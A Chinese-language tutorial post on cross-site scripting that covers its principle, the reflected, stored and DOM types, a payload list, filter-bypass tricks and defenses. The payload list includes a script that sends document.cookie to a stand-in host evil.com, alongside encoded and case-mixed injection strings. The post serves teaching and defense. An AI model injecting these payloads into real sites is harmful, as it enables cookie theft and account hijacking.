1.原理

​ 跨站脚本是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。是由于Web应用程序对用户的输入过滤不足又将输入输出到页面中导致。它允许恶意用户将代码注入网页,其他用户在浏览网页时就会收到影响。

2.分类

  • 反射型

    反射型XSS也被称为非持久型XSS,是现在最容易出现的一种XSS漏洞。当用户访问一个带有XSS代码的URL请求时,服务器端接收到数据后处理,然后把带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

  • 存储型

    存储型XSS又被称为持久型XSS,存储型XSS是最危险的一种跨站脚本。当攻击者提交一段XSS代码后,被服务器端接收并存储,当攻击者再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击。

  • DOM型

    DOM即文档对象模型,DOM通常用于代表在HTML、XHTM和XML中的对象。使用DOM可以允许程序和脚本动态地访问和更新文档的内容。所以DOM型XSS是不需要服务器端交互的,它只是发生在客户端处理数据阶段。

3.检测语法

<script>alert(1);</script><script src="http://www.evil.com/cookie.php"></script><script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script><src<script>ipt>alert('xss');</scr</script>ipt><script>alert(String.fromCharCode(88,83,83))</script><img src=foo.png onerror=alert(/xss/) /><style>@im\port'\ja\vasc\ript:alert(\"XSS"\);</style><marquee><script>alert('xss')</script></marquee><IMG SRC=\"jaV&#x09;;ascript:alert('XSS');\">"><script>alert(0)</script>" onfocus=alert(document.domain)"><"<body onLoad="while(true) alert('XSS'); ">"></iframe><script>alert(111)</script><div style="background:url('javascript:alert(1)')"><img src='javascript:alert("xss")'>

4.绕过

  • 利用<>标记注射html/javascript

    如果网站没有对<>进行过滤,那么用户可执行的恶意脚本可就太多了<script>alert(111)</script>

  • 利用Html标签属性值执行XSS

    很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这个语法声明了URL的主题是任意的javascript代码。

  • 空格回车Tab

    如果只对关键字进行过滤,那么用户还可以利用空格、回车、Tab进行绕过<img src="java script:alert(/xss/)" width=100>

  • 对标签属性值进行转码

    还可以通过编码处理来绕过,HTML中的属性值本身支持ASCII码形式

    <img src="javascript:alert('xss');"> 编码后<img src="javascrip$#116&#58alert(/xss/);">

  • 产生自己的事件

    如果不能依靠属性值进行跨站,那么可以利用事件,比如click、mouseover、load等,而响应事件的函数就叫做事件处理函数

    <input type="button" value="click me" onclick="alert('click me')" />

  • 利用CSS跨站

    XSS脚本的另一个载体是CSS样式表,使用CSS样式表执行javascript具有隐蔽性、灵活多变

    <div style="background-image:url(javascript:alert('xss'))">
    <style>body {background-image:url("javascript:alert('xss')");}
    </style>
    
  • 扰乱过滤规则

    <img src="javascript:alert(0);"># 转换大小写
    <IMG SRC="javascript:alert(0);"># 大小写混写
    <iMg sRC="jaVasCript:alert(0);"># 单引号替换双引号
    <img src='javascript:alert(0);'># 不使用引号
    <img src=javascript:alert(0);>
    

5.防御

# 输入过滤
输入过滤的所有数据都必须经过XSS Filter处理,被确认安全后才存入数据库中。
输入验证:对用户提交的信息进行有效验证,仅接收指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的任何数据。
数据消毒:对与常见的敏感字符,还需要进行过滤,如< > ' " & # javascript expression # 输出编码
在数据输出之前先对敏感字符进行转义,这是一个安全的方法,能够有效保持数据完整性。
HTML编码在防止XSS攻击上起到了很大的作用。# HttpOnly
无法通过js脚本读取到cookie信息
显示 实体名字 实体编码
< &lt ; &#60 ;
> &gt ; &#62 ;
& &amp ; &#38 ;
" &quot ; &#34 ;

XSS漏洞(跨站脚本攻击)相关推荐

  1. 反射型xss(跨站脚本攻击)

    反射型xss(跨站脚本攻击) 通常人们会把跨站脚本攻击(Cross Site Scripting)缩写为CSS),但是这与浏览器的层叠样式表css会混淆,所以人们把跨站脚本攻击缩写为xss. xss原 ...

  2. XSS漏洞自动化攻击工具XSSer

    XSS漏洞自动化攻击工具XSSer XSS是Web应用常见的漏洞.利用该漏洞,安全人员在网站注入恶意脚本,控制用户浏览器,并发起其他渗透操作.XSSer是Kali Linux提供的一款自动化XSS攻击 ...

  3. beef利用xss漏洞实现攻击

    目录 1.攻击手段 2.常见用途 2.参数说明 2.1 演示页面 2.2 Details 2.3 Logs 2.4  commands 总结: 1.攻击手段 利用网站 xss 漏洞实现攻击 诱使客户端 ...

  4. 渗透测试之XSS(跨站脚本攻击)

    文章目录 XSS 漏洞概述 XSS 分类 XSS 危害 XSS 漏洞的验证 XSS 的构造 XSS 的变形(绕过方式) Shellcode 的调用 远程调用JS windows.location.ha ...

  5. DVWA学习之XSS(跨站脚本攻击)(超级详细)

    DVWA学习之XSS XSS 跨站脚本攻击 0x01 XSS(Cross Site Script)简介 0x02 何为XSS 0x03 XSS存在的原因 0x04 XSS漏洞的危害 0x05 XSS ...

  6. 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  7. 【转载】关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造)

    我们常说的网络安全其实应该包括以下三方面的安全: 1.机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马. 2.完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子 ...

  8. Web安全 学习日记7 - XSS(跨站脚本攻击)

    文章目录 何为XSS XSS存在原因 XSS危害 XSS分类 1.反射型XSS 2.存储型XSS 3.DOM型XSS XSS的简单绕过WAF DVWA 反射型XSS 1.Low 2.Medium 3. ...

  9. DVWA靶场系列(六)—— XSS(跨站脚本攻击)

    #免责声明: 本文属于个人笔记,仅用于学习,禁止使用于任何违法行为,任何违法行为与本人无关. 漏洞原理 XSS又叫CSS(Cross Site Script),跨站脚本攻击.它指的是恶意攻击者往Web ...

最新文章

  1. mysql中pi是什么意思,MySql delimiter的作用是什么
  2. 【每日训练】2020/11/9(Splay ?rope大法好!、数论、构造补图)
  3. RCC—使用 HSE/HIS 配置时钟
  4. 【Python】Python常用数据类型的基本操作(长文系列第①篇)
  5. python head 函数_python爬虫中header是什么?怎么用?
  6. 手机百度首页的localStorage的使用实例
  7. msf如何升级_Kali linux 2016.2(Rolling)中的Metasploit如何更新与目录结构初步认识...
  8. 透析《长安十二时辰》里的望楼,人类在唐朝就有 5G 愿望了?
  9. 原生js滚动到底部加载数据和下拉刷新 Scrollload
  10. TCP 拥塞控制算法
  11. 详解:Drools规则引擎探究以及在IOT的应用
  12. windows切屏快捷键
  13. Failed opening .rdb for saving: Permission denied
  14. typora 快捷键使用(mac)
  15. jQuery实现的浮动广告
  16. 宁芝蓝牙X87 说明书
  17. 圖譜謎宮(2019年6月28日於鄂爾多斯)
  18. 汽车常识全面介绍 - 引擎详论
  19. 安卓平板装MySQL_准备购入一部平板作为学习用具,有推荐的吗?
  20. hdu 3067 小t的游戏

热门文章

  1. 魔法少女小莹莹——SDUT
  2. 微信JS接口 分享到朋友圈 分享给朋友 分享到QQ 拍照或从手机相册中选图 识别音频并返回识别结果 使用微信内置地图查看位置
  3. 设计模式(3)行为型模式
  4. 它不会火:为什么Flutter不是下一个流量?
  5. python成语接龙到为所欲为_成语接龙,如何在“为所欲为、人无完人、数不胜数、精益求精、痛定思痛……”之间以最短路径循环与自循环?...
  6. Windows10如何进入高级启动修复系统故障
  7. 让VirtualBox中的系统全屏显示
  8. 一篇科学的排队指南(简单线性回归和时间序列模型的应用)
  9. python 随机padding_PyTorch中的padding(边缘填充)操作方式
  10. 如何构建一个图书推荐系统